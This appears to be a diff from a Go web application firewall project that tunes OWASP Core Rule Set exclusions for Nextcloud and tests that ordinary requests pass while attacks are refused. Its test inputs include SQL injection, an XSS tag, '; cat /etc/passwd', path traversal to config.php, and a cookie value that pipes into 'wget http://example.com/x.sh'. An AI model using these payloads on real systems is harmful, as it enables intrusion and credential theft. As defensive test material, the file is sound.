"ctl:ruleRemoveTargetById=930120;XML:/*,\
ctl:ruleRemoveTargetById=932120;XML:/*,\
ctl:ruleRemoveTargetById=932250;XML:/*,\
ctl:ruleRemoveTargetById=932260;XML:/*"
# The XML body of an MKCALENDAR holds the new calendar's name and its
# description. The description is a sentence, and two rules for sentences
# refused it too:
# 932125, 932230: Powershell and python3 meetings; ls -la first
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/calendars/" \
"id:900122,phase:1,pass,nolog,chain"
SecRule REQUEST_METHOD "@streq MKCALENDAR" \
"ctl:ruleRemoveTargetById=930120;XML:/*,\
ctl:ruleRemoveTargetById=932120;XML:/*,\
ctl:ruleRemoveTargetById=932125;XML:/*,\
ctl:ruleRemoveTargetById=932230;XML:/*,\
ctl:ruleRemoveTargetById=932250;XML:/*,\
ctl:ruleRemoveTargetById=932260;XML:/*"
# When the Calendar app changes an event, it names the charset twice in the
# Content-Type of the PUT:
# text/calendar; charset=UTF-8; component=vevent; charset=UTF-8
# The Contacts app does the same with text/vcard when it changes a contact.
# 920530 refused both. The body of such a PUT is not read (900118).
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/(?:calendars|addressbooks)/" \
"id:900123,phase:1,pass,nolog,chain"
SecRule REQUEST_METHOD "@streq PUT" "chain"
SecRule REQUEST_HEADERS:Content-Type "@rx ^text/(?:calendar|vcard);" \
"ctl:ruleRemoveById=920530"
# The XML body of a new address book's MKCOL may hold its description. Like a
# calendar's (900122), it is a sentence, and the same two rules refused it:
# 932125, 932230: Powershell and python3 contacts; ls -la first
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/addressbooks/" \
"id:900124,phase:1,pass,nolog,chain"
SecRule REQUEST_METHOD "@streq MKCOL" \
"ctl:ruleRemoveTargetById=932125;XML:/*,\
ctl:ruleRemoveTargetById=932230;XML:/*"
-807
View File
@@ -1,807 +0,0 @@
package coreruleset_test
import (
"encoding/json"
"html"
"maps"
"net/http"
"net/url"
"slices"
"strings"
"testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// nextcloudThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
const nextcloudThreshold = 5
// nextcloudSignIn is the sign-in page.
const nextcloudSignIn = "/login"
// nextcloudShare is a public share's page.
const nextcloudShare = "/s/AbCdEfGhIjKlMnO"
// nextcloudPreview is a public share's preview of a file.
const nextcloudPreview = "/apps/files_sharing/publicpreview/AbCdEfGhIjKlMnO"
// nextcloudUsers is the OCS API's list of accounts.
const nextcloudUsers = "/ocs/v2.php/cloud/users"
// nextcloudShares is the OCS API's list of shares.
const nextcloudShares = "/ocs/v2.php/apps/files_sharing/api/v1/shares"
// nextcloudStatus is where the OCS API sets an account's status.
const nextcloudStatus = "/ocs/v2.php/apps/user_status/api/v1/user_status/message/custom"
// nextcloudFiles is the WebDAV folder of the account admin.
const nextcloudFiles = "/remote.php/dav/files/admin/"
// nextcloudSave is where the text editor saves a document.
const nextcloudSave = "/apps/text/session/1/save"
// The WebDAV methods the Files app's search and a comment's edit use, and
// the method the sync client lists a folder with.
const (
nextcloudSearch = "SEARCH"
nextcloudPropPatch = "PROPPATCH"
nextcloudPropFind = "PROPFIND"
)
// nextcloudOther is a JSON field no exclusion names.
const nextcloudOther = `{"other":"python3"}`
// nextcloudQueryFields are the query fields that skip 930120, 932120, 932250
// and 932260, each on a path where it skips them, ending in "=".
//
//nolint:gochecknoglobals // a constant cannot be a list
var nextcloudQueryFields = []string{
"/login?user=",
"/login?redirect_url=",
"/index.php/login?user=",
"/apps/files/?dir=",
"/apps/files/files/134?dir=",
"/index.php/apps/files/?dir=",
nextcloudPreview + "?file=",
nextcloudShare + "/download?path=",
nextcloudShare + "/download?path=%2F&files=",
nextcloudUsers + "?search=",
nextcloudUsers + "/details?search=",
"/ocs/v2.php/cloud/groups?search=",
"/ocs/v1.php/cloud/groups/details?search=",
"/ocs/v2.php/apps/files_sharing/api/v1/sharees?search=",
nextcloudShares + "?path=",
"/ocs/v2.php/search/providers/files/search?term=",
"/ocs/v2.php/search/providers/files/search?term=x&from=",
}
// nextcloudFormFields are the form data fields that skip the four rules, each
// on a path where it skips them, ending in "=".
//
//nolint:gochecknoglobals // a constant cannot be a list
var nextcloudFormFields = []struct{ target, field string }{
{nextcloudSignIn, "user="},
{nextcloudUsers, "userid="},
{nextcloudUsers, "displayName="},
{nextcloudUsers, "groups%5B%5D="},
{nextcloudUsers + "/admin", "value="},
{"/ocs/v2.php/cloud/groups", "groupid="},
{nextcloudShares, "path="},
{nextcloudShares, "label="},
{nextcloudShares, "shareWith="},
}
// nextcloudBody is a form data, JSON or XML body, sent with its method to a
// path. It holds %s, where a value goes, written as the body's type needs.
type nextcloudBody struct{ method, target, contentType, body string }
// nextcloudBodies are the JSON and XML fields that skip the four rules, each
// on a path where it skips them.
//
//nolint:gochecknoglobals // a constant cannot be a list
var nextcloudBodies = []nextcloudBody{
{http.MethodPost, nextcloudUsers, jsonBody, `{"userid":"%s"}`},
{http.MethodPost, nextcloudUsers, jsonBody, `{"displayName":"%s"}`},
{http.MethodPost, nextcloudUsers, jsonBody, `{"groups":["Staff","%s"]}`},
{
http.MethodPut, nextcloudUsers + "/admin",
jsonBody, `{"key":"headline","value":"%s"}`,
},
{http.MethodPost, "/ocs/v2.php/cloud/groups", jsonBody, `{"groupid":"%s"}`},
{http.MethodPost, nextcloudShares, jsonBody, `{"path":"/%s"}`},
{http.MethodPost, nextcloudShares, jsonBody, `{"shareWith":"%s"}`},
{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"label":"%s"}`},
{
http.MethodPost, "/apps/theming/ajax/updateStylesheet",
jsonBody, `{"setting":"slogan","value":"%s"}`,
},
{http.MethodPost, nextcloudSave, jsonBody, `{"filePath":"/%s/Readme.md"}`},
{http.MethodPost, "/remote.php/dav/systemtags/", jsonBody, `{"name":"%s"}`},
{
nextcloudSearch, "/remote.php/dav/", xmlBody,
`<d:searchrequest xmlns:d="DAV:"><d:basicsearch><d:where><d:like>` +
`<d:prop><d:displayname/></d:prop><d:literal>%%s%</d:literal>` +
`</d:like></d:where></d:basicsearch></d:searchrequest>`,
},
{nextcloudMkcol, nextcloudCalendars + "work", xmlBody, nextcloudNewCollection},
{nextcloudMkcol, nextcloudAddressBooks + "team", xmlBody, nextcloudNewCollection},
{nextcloudMkcalendar, nextcloudCalendars + "work/", xmlBody, nextcloudNewCalendar},
}
// The WebDAV methods that make a calendar or an address book.
const (
nextcloudMkcol = "MKCOL"
nextcloudMkcalendar = "MKCALENDAR"
)
// nextcloudCalendars and nextcloudAddressBooks hold the calendars and the
// address books of the account admin.
const (
nextcloudCalendars = "/remote.php/dav/calendars/admin/"
nextcloudAddressBooks = "/remote.php/dav/addressbooks/users/admin/"
)
// nextcloudNewCollection is the XML body that names a new calendar or address
// book, as an MKCOL sends it.
const nextcloudNewCollection = `<d:mkcol xmlns:d="DAV:"><d:set><d:prop>` +
`<d:displayname>%s</d:displayname></d:prop></d:set></d:mkcol>`
// nextcloudNewCalendar is the XML body of an MKCALENDAR that names the new
// calendar.
const nextcloudNewCalendar = `<c:mkcalendar xmlns:d="DAV:" ` +
`xmlns:c="urn:ietf:params:xml:ns:caldav"><d:set><d:prop>` +
`<d:displayname>%s</d:displayname></d:prop></d:set></c:mkcalendar>`
// nextcloudCalendarDescription is the XML body of an MKCALENDAR that gives
// the new calendar a description.
const nextcloudCalendarDescription = `<c:mkcalendar xmlns:d="DAV:" ` +
`xmlns:c="urn:ietf:params:xml:ns:caldav"><d:set><d:prop>` +
`<d:displayname>Meetings</d:displayname>` +
`<c:calendar-description>%s</c:calendar-description>` +
`</d:prop></d:set></c:mkcalendar>`
// nextcloudAddressBookDescription is the XML body of an MKCOL that gives a new
// address book a description.
const nextcloudAddressBookDescription = `<mkcol xmlns="DAV:" ` +
`xmlns:CARD="urn:ietf:params:xml:ns:carddav"><set><prop>` +
`<resourcetype><collection /><CARD:addressbook /></resourcetype>` +
`<displayname>Trainers</displayname>` +
`<CARD:addressbook-description>%s</CARD:addressbook-description>` +
`</prop></set></mkcol>`
// nextcloudDescription is a calendar's description, as recorded.
const nextcloudDescription = "Powershell and python3 meetings; ls -la first"
// nextcloudDocument is the text of a document the text editor saves, which
// skips the rules for code blocks too.
//
//nolint:gochecknoglobals // a struct cannot be a constant
var nextcloudDocument = nextcloudBody{
http.MethodPost, nextcloudSave, jsonBody, `{"autosaveContent":"%s"}`,
}
// nextcloudTexts are the fields that hold what a person writes, which skip
// the rules for sentences too: a document, a comment, a share's note and an
// account's status.
//
//nolint:gochecknoglobals // a constant cannot be a list
var nextcloudTexts = []nextcloudBody{
nextcloudDocument,
{http.MethodPost, "/remote.php/dav/comments/files/1", jsonBody, `{"message":"%s"}`},
{
nextcloudPropPatch, "/remote.php/dav/comments/files/1/2", xmlBody,
`<d:propertyupdate xmlns:d="DAV:" xmlns:oc="http://owncloud.org/ns">` +
`<d:set><d:prop><oc:message>%s</oc:message></d:prop></d:set>` +
`</d:propertyupdate>`,
},
{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"note":"%s"}`},
{http.MethodPost, nextcloudShares, jsonBody, `{"path":"/Notes","note":"%s"}`},
{
http.MethodPut, "/ocs/v1.php/apps/files_sharing/api/v1/shares/1",
formData, "note=%s",
},
{http.MethodPut, nextcloudStatus, jsonBody, `{"message":"%s"}`},
{http.MethodPut, nextcloudStatus, formData, "message=%s"},
}
// nextcloudSentences are sentences recorded in the texts, which rules
// refused there.
//
//nolint:gochecknoglobals // a constant cannot be a list
var nextcloudSentences = []string{
"It is fixed; diff attached",
"Run python3 or powershell; ls -la shows .htaccess",
"We need more time; find the old notes first",
"Tested on Windows; powershell works",
}
// nextcloudCodeBlock is a shell script in a code block of a document, as
// recorded.
const nextcloudCodeBlock = "```bash\n#!/bin/bash\nset -e\n" +
"tar czf /tmp/notes.tar.gz notes/\nls -la /tmp\n```"
// nextcloudBodyScore returns the request that sends value, which is not
// escaped, in sent's body, and the score crs gives it.
func nextcloudBodyScore(
t *testing.T, crs *coreruleset.CoreRuleSet, sent nextcloudBody, value string,
) (string, int) {
t.Helper()
switch sent.contentType {
case formData:
value = url.QueryEscape(value)
case jsonBody:
quoted, err := json.Marshal(value)
if err != nil {
t.Fatal(err)
}
value = string(quoted[1 : len(quoted)-1])
case xmlBody:
value = html.EscapeString(value)
}
body := strings.Replace(sent.body, "%s", value, 1)
r := request{sent.method, sent.target, []string{sent.contentType}}
got, _ := inspectBody(t, crs, r, body)
return sent.method + " " + sent.target + " " + body, got.Score
}
// nextcloudFieldScores returns the score that the Core Rule Set, reading
// bodies, gives each request that sends value, a query value, in one of the
// fields that skip the four rules, keyed by the request.
func nextcloudFieldScores(t *testing.T, value string) map[string]int {
t.Helper()
crs := readingBodies(t)
scores := map[string]int{}
for _, target := range nextcloudQueryFields {
scores["GET "+target+value] = inspect(t, crs, get(target+value)).Score
}
for _, sent := range nextcloudFormFields {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field+value)
scores["POST "+sent.target+" "+sent.field+value] = got.Score
}
written, err := url.QueryUnescape(value)
if err != nil {
t.Fatal(err)
}
for _, sent := range nextcloudBodies {
request, score := nextcloudBodyScore(t, crs, sent, written)
scores[request] = score
}
return scores
}
// nextcloudTextScores returns the score that the Core Rule Set, reading
// bodies, gives each request that sends text, which is not escaped, in one of
// the texts, keyed by the request.
func nextcloudTextScores(t *testing.T, text string) map[string]int {
t.Helper()
crs := readingBodies(t)
scores := map[string]int{}
for _, sent := range nextcloudTexts {
request, score := nextcloudBodyScore(t, crs, sent, text)
scores[request] = score
}
return scores
}
// nextcloudPasswordScore returns the score that the Core Rule Set, reading
// bodies, gives signing in with value, a query value, as the password.
func nextcloudPasswordScore(t *testing.T, value string) int {
t.Helper()
r := request{http.MethodPost, nextcloudSignIn, []string{formData}}
got, _ := inspectBody(t, readingBodies(t), r, passwordField+value)
return got.Score
}
func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) {
t.Parallel()
for _, value := range hardValues {
for request, score := range nextcloudFieldScores(t, value) {
if score >= nextcloudThreshold {
t.Errorf("%s refused: %d", request, score)
}
}
if score := nextcloudPasswordScore(t, value); score >= nextcloudThreshold {
t.Errorf("password %s refused: %d", value, score)
}
}
}
func TestNextcloudPasswordPasses(t *testing.T) {
t.Parallel()
r := request{http.MethodPost, nextcloudSignIn, []string{formData}}
wantRandomPasswordsPass(t, r, "password")
wantPasswordAttacksPass(t, r, "password")
wantPasswordAttacksRefused(t, r, "password")
}
func TestNextcloudPasswordFieldsPass(t *testing.T) {
t.Parallel()
password := []string{passwordKey}
change := []string{"oldPassword", "newPassword"}
recovery := []string{"oldPassword", "newPassword", "confirmPassword"}
adminRecovery := []string{"recoveryPassword", "confirmPassword"}
wantPasswordFieldsPass(t, []passwordFields{
{"/ocs/v1.php/person/check", formData, password},
{"/ocs/v2.php/person/check", jsonBody, password},
{"/ocs/v2.php/core/apppassword/confirm", jsonBody, password},
{nextcloudShares + "/42/send-email", jsonBody, password},
{"/apps/user_ldap/renewpassword", formData, change},
{"/index.php/apps/user_ldap/renewpassword", formData, change},
{"/apps/encryption/ajax/updatePrivateKeyPassword", formData, change},
{"/index.php/apps/encryption/ajax/updatePrivateKeyPassword", formData, change},
{"/apps/encryption/ajax/changeRecoveryPassword", formData, recovery},
{"/index.php/apps/encryption/ajax/changeRecoveryPassword", formData, recovery},
{"/apps/encryption/ajax/adminRecovery", formData, adminRecovery},
{"/index.php/apps/encryption/ajax/adminRecovery", formData, adminRecovery},
{"/login/confirm", jsonBody, password},
{"/index.php/login/confirm", formData, password},
{"/lostpassword/set/AbCdEf/alice", jsonBody, password},
{
"/settings/personal/changepassword", jsonBody,
[]string{"oldpassword", "newpassword"},
},
{
"/index.php/settings/users/changepassword", formData,
[]string{passwordKey, "recoveryPassword"},
},
{nextcloudShare + "/authenticate/showShare", formData, password},
{nextcloudUsers, jsonBody, password},
{"/ocs/v1.php/cloud/users/alice", formData, password},
{nextcloudUsers + "/alice", jsonBody, password},
{nextcloudShares, jsonBody, password},
{nextcloudShares + "/42", formData, password},
})
}
// TestNextcloudUserPasswordInValuePasses sends a password as Nextcloud's
// provisioning API takes it, as the value of the field the key names.
func TestNextcloudUserPasswordInValuePasses(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
crs := readingBodies(t)
target := nextcloudUsers + "/alice"
form := request{http.MethodPut, target, []string{formData}}
jsonRequest := request{http.MethodPut, target, []string{jsonBody}}
formPassword := func(passwords ...string) string {
return "key=password&" + formBody("value", passwords...)
}
jsonPassword := func(passwords ...string) string {
body := passwordBody(t, jsonRequest, []string{"value"}, passwords...)
return `{"key":"password",` + body[1:]
}
misfiring := misfiringPasswords(t)
for _, sent := range []struct {
r request
body string
}{
{form, formPassword(misfiring...)},
{jsonRequest, jsonPassword(misfiring...)},
{form, formPassword("' OR '1'='1", "<img src=x onerror=x()>")},
{jsonRequest, jsonPassword("; cat /etc/passwd")},
} {
if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score >= threshold {
t.Errorf("%s %.40s refused: %+v", sent.r.headers[0], sent.body, got)
}
}
// Any other key keeps every rule, and so does a second key.
for _, sent := range []struct {
r request
body string
}{
{form, "key=displayname&value=" + url.QueryEscape("' OR '1'='1")},
{form, formPassword(scriptTag)},
{form, "key=password&key=displayname&value=" + url.QueryEscape("' OR '1'='1")},
{jsonRequest, `{"key":"email","value":"' OR '1'='1"}`},
} {
if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score < threshold {
t.Errorf("%s %.40s let through: %+v", sent.r.headers[0], sent.body, got)
}
}
// A value in the query keeps every rule.
r := request{
http.MethodPut, target + "?value=%27%20OR%20%271%27%3D%271",
[]string{formData},
}
if got, _ := inspectBody(t, crs, r, "key=password"); got.Score < threshold {
t.Errorf("%s let through: %+v", r.target, got)
}
}
func TestNextcloudSentencesPassInTheTexts(t *testing.T) {
t.Parallel()
for _, sentence := range nextcloudSentences {
for request, score := range nextcloudTextScores(t, sentence) {
if score >= nextcloudThreshold {
t.Errorf("%s refused: %d", request, score)
}
}
}
document := "Backup steps:\n\n" + nextcloudCodeBlock
request, score := nextcloudBodyScore(t, readingBodies(t), nextcloudDocument, document)
if score >= nextcloudThreshold {
t.Errorf("%s refused: %d", request, score)
}
}
func TestNextcloudAttacksAreRefusedInTheExcludedFields(t *testing.T) {
t.Parallel()
for _, attack := range []string{
sqlInjection,
"..%2F..%2Fconfig%2Fconfig.php",
scriptInjection,
} {
written, err := url.QueryUnescape(attack)
if err != nil {
t.Fatal(err)
}
scores := nextcloudFieldScores(t, attack)
maps.Copy(scores, nextcloudTextScores(t, written))
for request, score := range scores {
if score < nextcloudThreshold {
t.Errorf("%s let through: %d", request, score)
}
}
}
// A shell command after a ";" reaches Nextcloud only in the texts.
for request, score := range nextcloudFieldScores(t, commandInjection) {
if score < nextcloudThreshold {
t.Errorf("%s let through: %d", request, score)
}
}
if score := nextcloudPasswordScore(t, commandInjection); score < nextcloudThreshold {
t.Errorf("password %s let through: %d", commandInjection, score)
}
}
func TestNextcloudAccountCookieSkipsTheFourRules(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
cookie := func(value string) request {
return get("/apps/files/", "Cookie: nc_sameSiteCookielax=true; nc_username="+value)
}
for _, value := range hardValues {
name, err := url.QueryUnescape(value)
if err != nil {
t.Fatal(err)
}
wantResult(t, crs, cookie(name), matched())
}
// A cookie cannot hold a ";", so the command follows a "|" instead.
for _, attack := range []string{
injection,
"../../config/config.php",
scriptTag,
"x|wget http://example.com/x.sh",
} {
if got := inspect(t, crs, cookie(attack)); got.Score < nextcloudThreshold {
t.Errorf("nc_username=%s let through: %+v", attack, got)
}
}
got := inspect(t, crs, get("/apps/files/", "Cookie: nc_other=python3"))
if got.Score < nextcloudThreshold {
t.Errorf("nc_other=python3 let through: %+v", got)
}
}
func TestNextcloudWebDAVMethodsAreAllowedOnlyThere(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, method := range []string{
nextcloudPropFind, nextcloudPropPatch, "MKCOL", "COPY", "MOVE", "REPORT",
nextcloudSearch, "LOCK", "UNLOCK",
} {
for _, target := range []string{
nextcloudFiles, "/remote.php/dav", "/remote.php/webdav/",
"/public.php/dav/files/AbCdEfGhIjKlMnO/", "/public.php/webdav/",
} {
wantResult(t, crs, request{method, target, nil}, matched())
}
for _, target := range []string{
"/", "/dav/", "/x/remote.php/dav/", "/remote.php/davx/",
} {
wantResult(t, crs, request{method, target, nil}, matched(911100))
}
}
wantResult(t, crs, request{"FOO", nextcloudFiles, nil}, matched(911100))
// MKCALENDAR only where the calendars are.
for _, target := range []string{nextcloudCalendars, nextcloudCalendars + "work/"} {
wantResult(t, crs, request{nextcloudMkcalendar, target, nil}, matched())
}
for _, target := range []string{
nextcloudFiles, nextcloudAddressBooks, "/remote.php/dav/",
"/x/remote.php/dav/calendars/",
} {
wantResult(t, crs, request{nextcloudMkcalendar, target, nil}, matched(911100))
}
// PROPFIND, and no other WebDAV method, where a client asks for them.
for _, target := range []string{"/.well-known/caldav", "/.well-known/carddav"} {
wantResult(t, crs, request{nextcloudPropFind, target, nil}, matched())
wantResult(t, crs, request{nextcloudMkcol, target, nil}, matched(911100))
}
other := request{nextcloudPropFind, "/.well-known/other", nil}
wantResult(t, crs, other, matched(911100))
}
func TestNextcloudDescriptionsPassAndAttacksAreRefused(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// A new calendar's and a new address book's description, as recorded.
for _, described := range []struct {
sent nextcloudBody
description string
}{
{
nextcloudBody{
nextcloudMkcalendar, nextcloudCalendars + "work/", xmlBody,
nextcloudCalendarDescription,
},
nextcloudDescription,
},
{
nextcloudBody{
nextcloudMkcol, nextcloudAddressBooks + "trainers/", xmlBody,
nextcloudAddressBookDescription,
},
"Powershell and python3 contacts; ls -la first",
},
} {
sent := described.sent
request, score := nextcloudBodyScore(t, crs, sent, described.description)
if score >= nextcloudThreshold {
t.Errorf("%s refused: %d", request, score)
}
for _, attack := range []string{
sqlInjection, "..%2F..%2Fconfig%2Fconfig.php", scriptInjection, commandInjection,
} {
written, err := url.QueryUnescape(attack)
if err != nil {
t.Fatal(err)
}
request, score := nextcloudBodyScore(t, crs, sent, written)
if score < nextcloudThreshold {
t.Errorf("%s let through: %d", request, score)
}
}
// An MKCOL on the calendars' paths skips only the rules for names.
sent.method, sent.target = nextcloudMkcol, nextcloudCalendars+"work/"
request, score = nextcloudBodyScore(t, crs, sent, described.description)
if score < nextcloudThreshold {
t.Errorf("%s let through: %d", request, score)
}
}
}
// nextcloudChangedEvent is the Content-Type of the PUT with which the
// Calendar app changes an event.
const nextcloudChangedEvent = "Content-Type: text/calendar; charset=UTF-8; " +
"component=vevent; charset=UTF-8"
func TestNextcloudChangedEventsAndContactsPass(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, changed := range []request{
{http.MethodPut, nextcloudCalendars + "work/1.ics", []string{nextcloudChangedEvent}},
{
http.MethodPut, nextcloudAddressBooks + "team/1.vcf",
[]string{"Content-Type: text/vcard; charset=UTF-8; charset=UTF-8"},
},
} {
wantResult(t, crs, changed, matched())
}
// Elsewhere, with another method or another type, two charsets are refused.
for _, refused := range []request{
{http.MethodPut, nextcloudFiles + "1.ics", []string{nextcloudChangedEvent}},
{http.MethodPost, nextcloudCalendars + "work/1.ics", []string{nextcloudChangedEvent}},
{
http.MethodPut, nextcloudCalendars + "work/1.ics",
[]string{"Content-Type: text/plain; charset=UTF-8; charset=UTF-8"},
},
} {
if got := inspect(t, crs, refused); !slices.Contains(got.RuleIDs, 920530) {
t.Errorf("%s %s %q let through: %+v",
refused.method, refused.target, refused.headers, got)
}
}
}
// nextcloudUploads are a JSON file and an XML file, as the Files app uploads
// them, which rules refused when they read them as fields.
//
//nolint:gochecknoglobals // a constant cannot be a list
var nextcloudUploads = []struct{ name, contentType, body string }{
{"pytest.json", jsonBody, `{"scripts": {"test": "python3 -m pytest"}}`},
{"logs.xml", xmlBody, "<tasks><task>ls -la /var/log</task></tasks>"},
}
func TestNextcloudUploadsAreNotReadAsFields(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, upload := range nextcloudUploads {
uploaded := request{
http.MethodPut, nextcloudFiles + upload.name, []string{upload.contentType},
}
got, _ := inspectBody(t, crs, uploaded, upload.body)
if got.Score >= nextcloudThreshold {
t.Errorf("PUT %s refused: %+v", uploaded.target, got)
}
for _, refused := range []request{
// Elsewhere, or with another method, the body is read.
{http.MethodPost, "/", uploaded.headers},
{http.MethodPut, "/apps/files/" + upload.name, uploaded.headers},
{http.MethodPost, uploaded.target, uploaded.headers},
// The query is still checked.
{http.MethodPut, uploaded.target + "?x=" + sqlInjection, uploaded.headers},
} {
got, _ := inspectBody(t, crs, refused, upload.body)
if got.Score < nextcloudThreshold {
t.Errorf("%s %s let through: %+v", refused.method, refused.target, got)
}
}
}
}
func TestNextcloudPathTraversalIsRefusedInWebDAVPaths(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
methods := []string{http.MethodGet, http.MethodPut, nextcloudPropFind, "MOVE", "LOCK"}
for _, method := range methods {
for _, target := range []string{
nextcloudFiles + "../../../config/config.php",
nextcloudFiles + "..%2F..%2F..%2Fconfig%2Fconfig.php",
} {
got := inspect(t, crs, request{method, target, nil})
if got.Score < nextcloudThreshold {
t.Errorf("%s %s let through: %+v", method, target, got)
}
}
}
}
func TestNextcloudExclusionsAreNarrow(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, refused := range []string{
"/?dir=python3",
"/apps/other/?dir=python3",
"/apps/files/?other=python3",
"/login?other=python3",
"/x/login?user=python3",
nextcloudShare + "?files=powershell",
"/?file=powershell",
// Each public share path keeps the rules on the other's fields.
nextcloudPreview + "?files=powershell",
nextcloudShare + "/download?file=powershell",
"/?search=python3",
nextcloudUsers + "?other=python3",
"/x/ocs/v2.php/cloud/users?search=python3",
} {
if got := inspect(t, crs, get(refused)); got.Score < nextcloudThreshold {
t.Errorf("%s let through: %+v", refused, got)
}
}
for _, sent := range []nextcloudBody{
// A JSON field of the same name in the query keeps the rules.
{
http.MethodPost, "/remote.php/dav/comments/files/1?json.message=python3",
jsonBody, `{"message":"python3"}`,
},
{
http.MethodPost, "/apps/theming/ajax/updateStylesheet?json.value=python3",
jsonBody, `{"value":"python3"}`,
},
{
http.MethodPost, nextcloudUsers + "?json.userid=python3",
jsonBody, `{"userid":"python3"}`,
},
{
http.MethodPut, nextcloudShares + "/1?json.note=python3",
jsonBody, `{"note":"python3"}`,
},
{
http.MethodPut, nextcloudStatus + "?json.message=python3",
jsonBody, `{"message":"python3"}`,
},
// Other JSON fields keep them.
{http.MethodPost, "/remote.php/dav/comments/files/1", jsonBody, nextcloudOther},
{http.MethodPost, nextcloudSave, jsonBody, nextcloudOther},
{http.MethodPost, "/remote.php/dav/systemtags/", jsonBody, nextcloudOther},
{http.MethodPost, nextcloudUsers, jsonBody, nextcloudOther},
// A note or a status on another OCS path keeps them.
{http.MethodPut, nextcloudUsers + "/admin", jsonBody, `{"note":"python3"}`},
{http.MethodPut, nextcloudUsers + "/admin", formData, "message=python3"},
// XML on another path, or with another method, keeps them.
{
nextcloudSearch, nextcloudFiles,
xmlBody, `<d:literal xmlns:d="DAV:">python3</d:literal>`,
},
{
nextcloudPropPatch, nextcloudFiles + "notes.txt",
xmlBody, `<d:message xmlns:d="DAV:">python3</d:message>`,
},
{
"REPORT", "/remote.php/dav/comments/files/1/2",
xmlBody, `<d:message xmlns:d="DAV:">python3</d:message>`,
},
} {
r := request{sent.method, sent.target, []string{sent.contentType}}
got, _ := inspectBody(t, crs, r, sent.body)
if got.Score < nextcloudThreshold {
t.Errorf("%s %s %s let through: %+v", sent.method, sent.target, sent.body, got)
}
}
}
-205
View File
@@ -1,205 +0,0 @@
//go:build recorded
// The tests that check the apps' recorded requests in testdata. The recorded
// tag keeps them out of the test phase's pass with the race detector, and
// its second pass, without the race detector, runs them.
package coreruleset_test
import (
"encoding/json"
"os"
"path/filepath"
"slices"
"strings"
"testing"
)
// giteaRequests returns the recorded ordinary gitea requests in testdata.
// Each has the Referer of a page that names the same, as a page opened
// from it has.
func giteaRequests(t *testing.T) []request {
t.Helper()
text, err := os.ReadFile(filepath.Join("testdata", "gitea-requests.txt"))
if err != nil {
t.Fatal(err)
}
var requests []request
for line := range strings.Lines(string(text)) {
line = strings.TrimSpace(line)
if line == "" || strings.HasPrefix(line, "#") {
continue
}
target, header, _ := strings.Cut(line, " ")
headers := []string{"Referer: http://git.example" + target}
if header != "" {
headers = append(headers, header)
}
requests = append(requests, get(target, headers...))
}
return requests
}
func TestOrdinaryGiteaRequestsPass(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
crs := atDefaults(t)
for _, r := range giteaRequests(t) {
if got := inspect(t, crs, r); got.Score >= threshold {
t.Errorf("%s %q refused: %+v", r.target, r.headers[1:], got)
}
}
}
// recordedRequest is a line of a file of recorded requests in testdata.
type recordedRequest struct {
Method string `json:"method"`
Target string `json:"target"`
Headers []string `json:"headers"`
Body string `json:"body"`
}
// recordedRequests returns the recorded ordinary requests in the file name
// in testdata, each with its body.
func recordedRequests(t *testing.T, name string) []recordedRequest {
t.Helper()
path := filepath.Join("testdata", name)
text, err := os.ReadFile(path) //nolint:gosec // a file in testdata
if err != nil {
t.Fatal(err)
}
var requests []recordedRequest
for line := range strings.Lines(string(text)) {
if strings.HasPrefix(line, "#") {
continue
}
var r recordedRequest
err := json.Unmarshal([]byte(line), &r)
if err != nil {
t.Fatalf("%q: %v", line, err)
}
requests = append(requests, r)
}
return requests
}
// wantRecordedRequestsPass checks that none of the recorded ordinary
// requests in the file name in testdata is refused, at the defaults and
// while bodies are read. A request with neither a body nor a Content-Type
// header is checked only at the defaults: with neither, the set that reads
// bodies has nothing more to check. Each request runs as its own parallel
// subtest.
func wantRecordedRequestsPass(t *testing.T, name string) {
t.Helper()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
defaults, bodies := atDefaults(t), readingBodies(t)
for _, recorded := range recordedRequests(t, name) {
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
t.Parallel()
r := request{recorded.Method, recorded.Target, recorded.Headers}
got, _ := inspectBody(t, defaults, r, recorded.Body)
if got.Score >= threshold {
t.Errorf("%s %s refused: %+v", r.method, r.target, got)
}
typed := slices.ContainsFunc(recorded.Headers, func(header string) bool {
name, _, _ := strings.Cut(header, ":")
return strings.EqualFold(name, "Content-Type")
})
if recorded.Body == "" && !typed {
return
}
got, _ = inspectBody(t, bodies, r, recorded.Body)
if got.Score >= threshold {
t.Errorf("%s %s %.200q refused while bodies are read: %+v",
r.method, r.target, recorded.Body, got)
}
})
}
}
func TestOrdinaryDrupalRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "drupal-requests.txt")
}
// TestOrdinaryForgejoRequestsPass checks Forgejo's recorded requests at the
// defaults only. While bodies are read, the Core Rule Set still refuses the
// file and branch names some of them carry in a form or JSON body, as it does
// gitea's (TestGiteaBodiesTheCoreRuleSetRefuses).
func TestOrdinaryForgejoRequestsPass(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
crs := atDefaults(t)
for _, recorded := range recordedRequests(t, "forgejo-requests.txt") {
r := request{recorded.Method, recorded.Target, recorded.Headers}
if got, _ := inspectBody(t, crs, r, recorded.Body); got.Score >= threshold {
t.Errorf("%s %s refused: %+v", r.method, r.target, got)
}
}
}
